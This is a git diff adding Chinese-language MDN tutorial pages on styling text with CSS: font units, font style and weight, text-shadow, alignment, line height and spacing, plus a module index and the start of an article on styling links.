href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS values and units</a> 文章,我们回顾了<a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>. 字体大小 (通过 {{cssxref("font-size")}} 属性设置) 可以取大多数这些单位的值 (以及其他,比如百分比 <a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Values_and_units#Percentages">percentages</a>),然而你在调整字体大小时,最常用的单位是:</p> + +<ul> + <li><code>px</code> (像素): 将像素的值赋予给你的文本。这是一个绝对单位, 它导致了在任何情况下,页面上的文本所计算出来的像素值都是一样的。</li> + <li><code>em</code>: 1em 等于我们设计的当前元素的父元素上设置的字体大小 (更加具体的话,比如包含在父元素中的大写字母 M 的宽度) 如果你有大量设置了不同字体大小的嵌套元素,这可能会变得棘手, 但它是可行的,如下图所示。为什么要使用这个麻烦的单位呢? 当你习惯这样做时,那么就会变得很自然,你可以使用<code>em</code>调整任何东西的大小,不只是文本。你可以有一个单位全部都使用 em 的网站,这样维护起来会很简单。</li> + <li><code>rem</code>: 这个单位的效果和 <code>em</code> 差不多,除了 1<code>rem</code> 等于 HTML 中的根元素的字体大小, (i.e. {{htmlelement("html")}}) ,而不是父元素。这可以让你更容易计算字体大小,但是遗憾的是, <code>rem</code> 不支持 Internet Explorer 8 和以下的版本。如果你的项目需要支持较老的浏览器,你可以坚持使用<code>em</code> 或 <code>px</code>, 或者是 {{glossary("polyfill")}} 就像 <a href="https://github.com/chuckcarpenter/REM-unit-polyfill">REM-unit-polyfill</a>. (这个单位在“CSS的值和单位”一节也有讲解)</li> +</ul> + +<p>元素的 <code>font-size</code> 属性是从该元素的父元素继承的。所以这一切都是从整个文档的根元素——{{htmlelement("html")}}开始,浏览器的 <code>font-size</code> 标准设置的值为 16px。在根元素中的任何段落 (或者那些浏览器没有设置默认大小的元素),会有一个最终的大小值:16px。其他元素也许有默认的大小,比如 {{htmlelement("h1")}} 元素有一个 2em 的默认值,所以它的最终大小值为 32px。当你开始更改嵌套元素的字体大小时,事情会变得棘手。比如,如果你有一个 {{htmlelement("article")}} 元素在你的页面上,然后设置它的 font-size 为 <code>1.5em</code> (通过计算,可以得到大小为 24px),然后想让 <code><article></code> 元素中的段落获得一个计算值为 20px 的大小,那么你应该使用多少 em。</p> + +<pre class="brush: html"><!-- document base font-size is 16px --> +<article> <!-- If my font-size is 1.5em --> + <p>My paragraph</p> <!-- How do I compute to 20px font-size? --> +</article></pre> + +<p>你需要将 em 的值设置为 20/24, 或者 <code>0.83333333em</code>. 这个计算可能比较复杂,所以当你设置的时候,你需要仔细一些。如果可以使用 rem 的话,那实现起来就变得简单不少,避免在可能的情况下设置容器元素的字体大小。</p> + +<h4 id="一个简单的_size_示例">一个简单的 size 示例</h4> + +<p>当调整你的文本大小时,将文档(document)的基础 <code>font-size</code> 设置为10px往往是个不错的主意,这样之后的计算会变得简单,所需要的 (r)em 值就是想得到的像素的值除以 10,而不是 16。做完这个之后,你可以简单地调整在你的 HTML 中你想调整的不同类型文本的字体大小。在样式表的指定区域列出所有<code>font-size</code>的规则集是一个好主意,这样它们就可以很容易被找到。</p> + +<p>我们的新结果是这样的:</p> + +<div class="hidden"> +<pre class="brush: html"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> +</div> + +<pre class="brush: css">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> + +<p>{{ EmbedLiveSample('字体大小', '100%', 220) }}</p> + +<h3 id="字体样式,字体粗细,文本转换和文本装饰">字体样式,字体粗细,文本转换和文本装饰</h3> + +<p>CSS 提供了 4 种常用的属性来改变文本的样子:</p> + +<ul> + <li>{{cssxref("font-style")}}: 用来打开和关闭文本 italic (斜体)。 可能的值如下 (你很少会用到这个属性,除非你因为一些理由想将斜体文字关闭斜体状态): + <ul> + <li><code>normal</code>: 将文本设置为普通字体 (将存在的斜体关闭)</li> + <li><code>italic</code>: 如果当前字体的斜体版本可用,那么文本设置为斜体版本;如果不可用,那么会利用 oblique 状态来模拟 italics。</li> + <li><code>oblique</code>: 将文本设置为斜体字体的模拟版本,也就是将普通文本倾斜的样式应用到文本中。</li> + </ul> + </li> + <li>{{cssxref("font-weight")}}: 设置文字的粗体大小。这里有很多值可选 (比如 <em>-light</em>, <em>-normal</em>, <em>-bold</em>, <em>-extrabold</em>, <em>-black</em>, 等等), 不过事实上你很少会用到 <code>normal</code> 和 <code>bold</code>以外的值: + <ul> + <li><code>normal</code>, <code>bold</code>: 普通或者<strong style="font-weight: bold;">加粗</strong>的字体粗细</li> + <li><code>lighter</code>, <code>bolder</code>: 将当前元素的粗体设置为比其父元素粗体更细或更粗一步。<code>100</code>–<code>900</code>: 数值粗体值,如果需要,可提供比上述关键字更精细的粒度控制。</li> + </ul> + </li> + <li>{{cssxref("text-transform")}}: 允许你设置要转换的字体。值包括: + <ul> + <li><code>none</code>: 防止任何转型。</li> + <li><code>uppercase</code>: 将所有文本转为大写。</li> + <li><code>lowercase</code>: 将所有文本转为小写。</li> + <li><code>capitalize</code>: 转换所有单词让其首字母大写。</li> + <li><code>full-width</code>: 将所有字形转换成全角,即固定宽度的正方形,类似于等宽字体,允许拉丁字符和亚洲语言字形(如中文,日文,韩文)对齐。</li> + </ul> + </li> + <li>{{cssxref("text-decoration")}}: 设置/取消字体上的文本装饰 (你将主要使用此方法在设置链接时取消设置链接上的默认下划线。) 可用值为: + <ul> + <li><code>none</code>: 取消已经存在的任何文本装饰。</li> + <li><code>underline</code>: <u>文本下划线</u>.</li> + <li><code>overline</code>: <span style="text-decoration: overline;">文本上划线</span></li> + <li><code>line-through</code>: 穿过文本的线 <s style="text-decoration: line-through;">strikethrough over the text</s>.</li> + </ul> + 你应该注意到 {{cssxref("text-decoration")}} 可以一次接受多个值,如果你想要同时添加多个装饰值, 比如 <span style="text-decoration: underline overline;"><code>text-decoration: underline overline</code></span>.。同时注意 {{cssxref("text-decoration")}} 是一个缩写形式,它由 {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} 和 {{cssxref("text-decoration-color")}} 构成。你可以使用这些属性值的组合来创建有趣的效果,比如 <span style="text-decoration: line-through red wavy;"><code>text-decoration: line-through red wavy</code>.</span></li> +</ul> + +<p>我们来看一下这几个属性添加到我们的例子中:</p> + +<p>我们的新结果是这样的:</p> + +<div class="hidden"> +<pre class="brush: html"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> +</div> + +<pre class="brush: css">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; + text-transform: capitalize; +} + +h1 + p { + font-weight: bold; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> + +<p>{{ EmbedLiveSample('字体样式,字体粗细,文本转换和文本装饰', '100%', 220) }}</p> + +<h3 id="文字阴影">文字阴影</h3> + +<p>你可以为你的文本应用阴影,使用 {{cssxref("text-shadow")}} 属性。这最多需要 4 个值,如下例所示:</p> + +<pre class="brush: css">text-shadow: 4px 4px 5px red;</pre> + +<p>4 个属性如下:</p> + +<ol> + <li>阴影与原始文本的水平偏移,可以使用大多数的 CSS 单位 <a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>, 但是 px 是比较合适的。这个值必须指定。</li> + <li>阴影与原始文本的垂直偏移;效果基本上就像水平偏移,除了它向上/向下移动阴影,而不是左/右。这个值必须指定。</li> + <li>模糊半径 - 更高的值意味着阴影分散得更广泛。如果不包含此值,则默认为0,这意味着没有模糊。可以使用大多数的 CSS 单位 <a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>.</li> + <li>阴影的基础颜色,可以使用大多数的 CSS 颜色单位 <a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">CSS color unit</a>. 如果没有指定,默认为 <code>black</code>.</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 正偏移值可以向右移动阴影,但也可以使用负偏移值来左右移动阴影,例如 <code>-1px -1px</code>.</p> +</div> + +<h4 id="多种阴影">多种阴影</h4> + +<p>您可以通过包含以逗号分隔的多个阴影值,将多个阴影应用于同一文本,例如:</p> + +<pre class="brush: css"><code class="language-css"><span class="property token">text-shadow</span><span class="punctuation token">:</span> -<span class="number token">1</span>px -<span class="number token">1</span>px <span class="number token">1</span>px <span class="hexcode token">#aaa</span>, + <span class="number token">0</span>px <span class="number token">4</span>px <span class="number token">1</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.5</span><span class="punctuation token">)</span>, + <span class="number token">4</span>px <span class="number token">4</span>px <span class="number token">5</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.7</span><span class="punctuation token">)</span>, + <span class="number token">0</span>px <span class="number token">0</span>px <span class="number token">7</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.4</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>如果我们把这个样式应用到我们 "Tommy the cat" 示例中的 {{htmlelement("h1")}} 元素,就像这样:</p> + +<div class="hidden"> +<pre class="brush: html"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> + +<pre class="brush: css">html { + font-size: 10px; +} + +h1 { + font-size: 26px; + text-transform: capitalize; + text-shadow: -1px -1px 1px #aaa, + 0px 2px 1px rgba(0,0,0,0.5), + 2px 2px 2px rgba(0,0,0,0.7), + 0px 0px 3px rgba(0,0,0,0.4); +} + +h1 + p { + font-weight: bold; +} + +p { + font-size: 14px; + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> +</div> + +<p>{{ EmbedLiveSample('多种阴影', '100%', 220) }}</p> + +<div class="note"> +<p><strong>注意</strong>: 你可以看到更多有趣的关于 <code>text-shadow</code> 使用的示例在 <a href="http://www.sitepoint.com/moonlighting-css-text-shadow/">Moonlighting with CSS text-shadow</a>.</p> +</div> + +<h2 id="文本布局">文本布局</h2> + +<p>有了基本的字体属性,我们来看看我们可以用来影响文本布局的属性。</p> + +<h3 id="文本对齐">文本对齐</h3> + +<p> {{cssxref("text-align")}} 属性用来控制文本如何和它所在的内容盒子对齐。可用值如下,并且在与常规文字处理器应用程序中的工作方式几乎相同:</p> + +<ul> + <li><code>left</code>: 左对齐文本。</li> + <li><code>right</code>: 右对齐文本。</li> + <li><code>center</code>: 居中文字</li> + <li><code>justify</code>: 使文本展开,改变单词之间的差距,使所有文本行的宽度相同。你需要仔细使用,它可以看起来很可怕。特别是当应用于其中有很多长单词的段落时。如果你要使用这个,你也应该考虑一起使用别的东西,比如 {{cssxref("hyphens")}},打破一些更长的词语。</li> +</ul> + +<p>如果我们应用 <code>text-align: center;</code> 到我们例子中的 {{htmlelement("h1")}} 元素中,结果如下:</p> + +<div class="hidden"> +<pre class="brush: html"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> + +<pre class="brush: css">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; + text-transform: capitalize; + text-shadow: -1px -1px 1px #aaa, + 0px 2px 1px rgba(0,0,0,0.5), + 2px 2px 2px rgba(0,0,0,0.7), + 0px 0px 3px rgba(0,0,0,0.4); + text-align: center; +} + +h1 + p { + font-weight: bold; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> +</div> + +<p>{{ EmbedLiveSample('文本对齐', '100%', 220) }}</p> + +<h3 id="行高">行高</h3> + +<p> {{cssxref("line-height")}} 属性设置文本每行之间的高,可以接受大多数单位 <a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>,不过也可以设置一个无单位的值,作为乘数,通常这种是比较好的做法。无单位的值乘以 {{cssxref("font-size")}} 来获得 <code>line-height</code>。当行与行之间拉开空间,正文文本通常看起来更好更容易阅读。推荐的行高大约是 1.5–2 (双倍间距。) 所以要把我们的文本行高设置为字体高度的1.5倍,你可以使用这个:</p> + +<pre class="brush: css">line-height: 1.5;</pre> + +<p>把这个样式应用到我们示例中的 {{htmlelement("p")}} 元素,结果如下:</p> + +<div class="hidden"> +<pre class="brush: html"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> + +<pre class="brush: css">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; + text-transform: capitalize; + text-shadow: -1px -1px 1px #aaa, + 0px 2px 1px rgba(0,0,0,0.5), + 2px 2px 2px rgba(0,0,0,0.7), + 0px 0px 3px rgba(0,0,0,0.4); + text-align: center; +} + +h1 + p { + font-weight: bold; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; + line-height: 1.5; +}</pre> +</div> + +<p>{{ EmbedLiveSample('行高', '100%', 250) }}</p> + +<h3 id="字母和单词间距">字母和单词间距</h3> + +<p>{{cssxref("letter-spacing")}} 和 {{cssxref("word-spacing")}} 属性允许你设置你的文本中的字母与字母之间的间距、或是单词与单词之间的间距。你不会经常使用它们,但是可能可以通过它们,来获得一个特定的外观,或者让较为密集的文字更加可读。它们可以接受大多数单位 <a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">length and size units</a>.</p> + +<p>所以作为例子,如果我们把这个样式应用到我们的示例中的 {{htmlelement("p")}} 段落的第一行:</p> + +<pre class="brush: css">p::first-line { + letter-spacing: 2px; + word-spacing: 4px; +}</pre> + +<p>我们会得到下面的结果:</p> + +<div class="hidden"> +<pre class="brush: html"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> + +<pre class="brush: css">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; + text-transform: capitalize; + text-shadow: -1px -1px 1px #aaa, + 0px 2px 1px rgba(0,0,0,0.5), + 2px 2px 2px rgba(0,0,0,0.7), + 0px 0px 3px rgba(0,0,0,0.4); + text-align: center; +} + +h1 + p { + font-weight: bold; +} + +p::first-line { + letter-spacing: 2px; + word-spacing: 4px; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; + line-height: 1.5; +}</pre> +</div> + +<p>{{ EmbedLiveSample('字母和字间距', '100%', 250) }}</p> + +<h3 id="其他一些值得看一下的属性">其他一些值得看一下的属性</h3> + +<p>以上属性让你了解如何开始在网页上设置文本, 但是你可以使用更多的属性。我们只是想介绍最重要的。一旦你习惯使用上面的内容,你还应该探索以下几点:</p> + +<p>Font 样式:</p> + +<ul> + <li>{{cssxref("font-variant")}}: 在小型大写字母和普通文本选项之间切换。</li> + <li>{{cssxref("font-kerning")}}: 开启或关闭字体间距选项。</li> + <li>{{cssxref("font-feature-settings")}}: 开启或关闭不同的 <a href="https://en.wikipedia.org/wiki/OpenType">OpenType</a> 字体特性。</li> + <li>{{cssxref("font-variant-alternates")}}: 控制给定的自定义字体的替代字形的使用。</li> + <li>{{cssxref("font-variant-caps")}}: 控制大写字母替代字形的使用。</li> + <li>{{cssxref("font-variant-east-asian")}}: 控制东亚文字替代字形的使用, 像日语和汉语。</li> + <li>{{cssxref("font-variant-ligatures")}}: 控制文本中使用的连写和上下文形式。</li> + <li>{{cssxref("font-variant-numeric")}}: 控制数字,分式和序标的替代字形的使用。</li> + <li>{{cssxref("font-variant-position")}}: 控制位于上标或下标处,字号更小的替代字形的使用。</li> + <li>{{cssxref("font-size-adjust")}}: 独立于字体的实际大小尺寸,调整其可视大小尺寸。</li> + <li>{{cssxref("font-stretch")}}: 在给定字体的可选拉伸版本中切换。</li> + <li>{{cssxref("text-underline-position")}}: 指定下划线的排版位置,通过使用 <code>text-decoration-line</code> 属性的<code>underline</code> 值。</li> + <li>{{cssxref("text-rendering")}}: 尝试执行一些文本渲染优化。</li> +</ul> + +<p>文本布局样式:</p> + +<ul> + <li>{{cssxref("text-indent")}}: 指定文本内容的第一行前面应该留出多少的水平空间。</li> + <li>{{cssxref("text-overflow")}}: 定义如何向用户表示存在被隐藏的溢出内容。</li> + <li>{{cssxref("white-space")}}: 定义如何处理元素内部的空白和换行。</li> + <li>{{cssxref("word-break")}}: 指定是否能在单词内部换行。</li> + <li>{{cssxref("direction")}}: 定义文本的方向 (这取决于语言,并且通常最好让HTML来处理这部分,因为它是和文本内容相关联的。)</li> + <li>{{cssxref("hyphens")}}: 为支持的语言开启或关闭连字符。</li> + <li>{{cssxref("line-break")}}: 对东亚语言采用更强或更弱的换行规则。</li> + <li>{{cssxref("text-align-last")}}: 定义一个块或行的最后一行,恰好位于一个强制换行前时,如何对齐。</li> + <li>{{cssxref("text-orientation")}}: 定义行内文本的方向。</li> + <li>{{cssxref("word-wrap")}}: 指定浏览器是否可以在单词内换行以避免超出范围。</li> + <li>{{cssxref("writing-mode")}}: 定义文本行布局为水平还是垂直,以及后继文本流的方向。</li> +</ul> + +<h2 id="Font_简写">Font 简写</h2> + +<p>许多字体的属性也可以通过 {{cssxref("font")}} 的简写方式来设置 . 这些是按照以下顺序来写的: {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, and {{cssxref("font-family")}}.</p> + +<p>如果你想要使用 <code>font</code> 的简写形式,在所有这些属性中,只有 <code>font-size</code> 和 <code>font-family</code> 是一定要指定的。</p> + +<p>{{cssxref("font-size")}} 和 {{cssxref("line-height")}} 属性之间必须放一个正斜杠。</p> + +<p>一个完整的例子如下所示:</p> + +<pre class="brush: css">font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;</pre> + +<h2 id="动手练习_使用样式文本">动手练习: 使用样式文本</h2> + +<p>在这个动手练习中,我们没有任何具体的练习来做:我们只是希望你和一些字体/文本布局属性相处地愉快,看看你可以制作什么!你可以使用离线HTML / CSS文件进行此操作,也可以将代码输入到下面的实时可编辑示例中。</p> + +<p>如果你犯了错误,你可以使用 Reset 按钮来复原。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>HTML Input</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"> + <p>Some sample text for your delight</p></textarea> + + <h2>CSS Input</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">p { + + }</textarea> + + <h2>Output</h2> + <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> + <div class="controls"> + <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"> + </div> +</div> +</pre> + +<pre class="brush: js">var htmlInput = document.querySelector(".html-input"); +var cssInput = document.querySelector(".css-input"); +var reset = document.getElementById("reset"); +var htmlCode = htmlInput.value; +var cssCode = cssInput.value; +var output = document.querySelector(".output"); + +var styleElem = document.createElement('style'); +var headElem = document.querySelector('head'); +headElem.appendChild(styleElem); + +function drawOutput() { + output.innerHTML = htmlInput.value; + styleElem.textContent = cssInput.value; +} + +reset.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = cssCode; + drawOutput(); +}); + +htmlInput.addEventListener("input", drawOutput); +cssInput.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p> + +<h2 id="小结">小结</h2> + +<p>我们希望你在本篇文章中享受与文本在一起的时光!下篇文章会介绍所有你需要知道的关于 HTML 列表的样式。</p> + +<p>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</p> diff --git a/files/zh-cn/learn/css/为文本添加样式/index.html b/files/zh-cn/learn/css/为文本添加样式/index.html new file mode 100644 index 0000000000..ec4822b9ad --- /dev/null +++ b/files/zh-cn/learn/css/为文本添加样式/index.html @@ -0,0 +1,54 @@ +--- +title: 为文本添加样式(样式化文本) +slug: Learn/CSS/为文本添加样式 +tags: + - CSS + - 代码脚步 + - 列表lists + - 初学者 + - 字体Fonts + - 字母letter + - 文字font + - 文本Text + - 模块化Module + - 网络字体 web fonts + - 行line + - 链接Links + - 阴影shadow +translation_of: Learn/CSS/Styling_text +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">掌握了 CSS 语言的基础之后,对于您来说,下一个需要关心的 CSS 主题就是为文本添加样式——一个您将会最经常使用 CSS 做的事情。在这里,我们专注于为文本样式的基础,包括设置字体、粗细、斜体、行还有字符间距、阴影以及文本的其他特征。我们将会通过在您的网页中应用自定义字体、样式化列表以及链接来圆满地结束本模块。</p> + +<h2 id="前提">前提</h2> + +<p>在开始这一模块之前,您应当像 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML 介绍</a> 模块中所探讨的,已经熟悉了基本的HTML,以及像 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">CSS 介绍</a> 中所详述的,对自己的 CSS 基础感觉还满意。</p> + +<div class="note"> +<p><strong>注意</strong>: 如果您所使用的是不能创建自己的文件的电脑、平板电脑或其他设备的话,您可以在一个在线编码程序 <a href="http://jsbin.com/">JSBin</a> 或 <a href="https://thimble.mozilla.org/">Thimble</a> 中尝试(大部分的)代码例子。</p> +</div> + +<h2 id="导引">导引</h2> + +<p>这个模块包括了以下文章,这些文章将教会您所有的基本功以支持您为 HTML 文本内容添加样式。</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/CSS/Styling_text/Fundamentals">基本的文本以及字体样式</a></dt> + <dd>在本文章中,我们将通篇了解文本、字体样式的所有基础,包括设置字体粗细( font weight )、字体系列及样式( family and style )、字体缩写( font shorthand )、文本排列( text alignment )和其他的效果,还有行( line )以及字符间距( letter spacing )。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Styling_text/Styling_lists">样式化列表</a></dt> + <dd>对于大部分内容来说,列表的行为表现跟其他任何文本其实差不多,但您也需要了解还有一些专门用于列表的 CSS 样式以及考虑一些最好的实践方式。本文章将阐释这一切。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Styling_text/Styling_links">样式化链接</a></dt> + <dd>当您为链接添加样式时,很重要的一点是要去理解怎样有效地使用伪类去修饰链接的状态,以及怎么去修饰不同的接口功能例如导航菜单和面板中所使用的链接。我们将会在这篇文章中讨论这些话题。</dd> + <dt><a href="/zh-CN/docs/Learn/CSS/Styling_text/Web_fonts">网络字体</a></dt> + <dd>在这里我们将会详细地探索网络字体——这会允许您与您的网页一同下载自定义字体,来实现更为不同的个性化字体样式。</dd> +</dl> + +<h2 id="评估">评估</h2> + +<p>以下的评估将会评测您对以上导引所涵盖的为文本添加样式的技术的理解。</p> + +<dl> + <dt><a href="/zh-CN/Learn/CSS/Styling_text/Typesetting_a_homepage">对一个社区学校的主页进行排版</a></dt> + <dd>在这个评估中,我们通过让您为一个社区学校的主页添加文本样式来测试您对文本样式的理解程度。</dd> +</dl> diff --git a/files/zh-cn/learn/css/为文本添加样式/styling_links/index.html b/files/zh-cn/learn/css/为文本添加样式/styling_links/index.html new file mode 100644 index 0000000000..df2e7c6093 --- /dev/null +++ b/files/zh-cn/learn/css/为文本添加样式/styling_links/index.html @@ -0,0 +1,431 @@ +--- +title: 样式化链接 +slug: Learn/CSS/为文本添加样式/Styling_links +tags: + - 伪类 + - 悬浮 + - 标签 + - 聚焦 + - 菜单 + - 超链接 + - 链接 +translation_of: Learn/CSS/Styling_text/Styling_links +--- +<div> +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p> +</div> + +<p class="summary">当为 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">links</a> 添加样式时, 理解利用伪类有效地建立链接状态是很重要的,以及如何为链接添加样式来实现常用的功能,比如说导航栏、选项卡。我们将在本文中关注所有这些主题。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习本章节的前提:</th> + <td>基本的计算机使用能力,HTML 基础 (学习 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), CSS 基础 (学习 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>), <a href="/zh-CN/docs/Learn/CSS/Styling_text/Fundamentals">CSS text and font fundamentals</a>.</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>学习如何将样式应用到链接状态,以及如何使用链接实现常见的 UI 功能,比如导航菜单。</td> + </tr> + </tbody> +</table> + +<h2 id="让我们来看一些链接">让我们来看一些链接</h2> + +<p>根据最佳实践 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a> 中的练习,我们看到了如何在你的 HTML 中实现链接。在本篇文章中,我们会以这个知识为基础,向你展示将样式应用到链接的最佳实践。</p> + +<h3 id="链接状态">链接状态</h3> + +<p>第一件需要理解的事情是链接状态的概念,链接存在时处于不同的状态,每一个状态都可以用对应的 <a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes">伪类</a> 来应用样式:</p> + +<ul> + <li><strong>Link (没有访问过的)</strong>: 这是链接的默认状态,当它没有处在其他状态的时候,它可以使用{{cssxref(":link")}} 伪类来应用样式。</li> + <li><strong>Visited</strong>: 这个链接已经被访问过了(存在于浏览器的历史纪录), 它可以使用 {{cssxref(":visited")}} 伪类来应用样式。</li> + <li><strong>Hover</strong>: 当用户的鼠标光标刚好停留在这个链接,它可以使用 {{cssxref(":hover")}} 伪类来应用样式。</li> + <li><strong>Focus</strong>: 一个链接当它被选中的时候 (比如通过键盘的 <kbd>Tab</kbd> 移动到这个链接的时候,或者使用编程的方法来选中这个链接 {{domxref("HTMLElement.focus()")}}) 它可以使用 {{cssxref(":focus")}} 伪类来应用样式。</li> + <li><strong>Active</strong>: 一个链接当它被激活的时候 (比如被点击的时候),它可以使用 {{cssxref(":active")}} 伪类来应用样式。</li> +</ul> + +<h3 id="默认的样式">默认的样式</h3> + +<p>下面的例子说明了一个链接的默认行为表现 (这里的 CSS 仅仅是为了放大和居中文本,使内容更加突出)</p> + +<pre class="brush: html"><p><a href="https://mozilla.org">A link to the Mozilla homepage</a></p> +</pre> + +<pre class="brush: css">p { + font-size: 2rem; + text-align: center; +}</pre> + +<p>{{ EmbedLiveSample('默认的样式', '100%', 120) }}</p> + +<p>当你观察默认样式的时候,你也许会注意到一些东西:</p> + +<ul> + <li>链接具有下划线。</li> + <li>未访问过的 (Unvisited) 的链接是蓝色的。</li> + <li>访问过的 (Visited) 的链接是紫色的.</li> + <li>悬停 (Hover) 在一个链接的时候鼠标的光标会变成一个小手的图标。</li> + <li>选中 (Focus) 链接的时候,链接周围会有一个轮廓,你应该可以按 tab 来选中这个页面的链接 (在 Mac 上, 你可能需要使用<em>Full Keyboard Access: All controls</em> 选项,然后再按下 <kbd>Ctrl</kbd> + <kbd>F7</kbd> ,这样就可以起作用)</li> + <li>激活 (Active) 链接的时候会变成红色 (当你点击链接时,请尝试按住鼠标按钮。)</li> +</ul> + +<p>有趣的是,这些默认的样式与20世纪90年代中期浏览器早期的风格几乎相同。这是因为用户知道以及期待链接就是这样变化的,如果链接的样式不同,就会让一些人感到奇怪。不过这不意味着你不应该为链接添加任何样式,只是你的样式不应该与用户预期的相差太大,你应该至少:</p> + +<ul> + <li>为链接使用下划线,但是不要在其他内容上也用下划线,以作区分。如果你不想要带有下划线的链接,那你至少要用其他方法来高亮突出链接。</li> + <li>当用户悬停或选择 (hover 或者 focused) 的时候,使链接有相应的变化,并且在链接被激活(active) 的时候,变化会有一些不同。可以使用以下CSS属性关闭/更改默认样式:</li> + <li>{{cssxref("color")}} 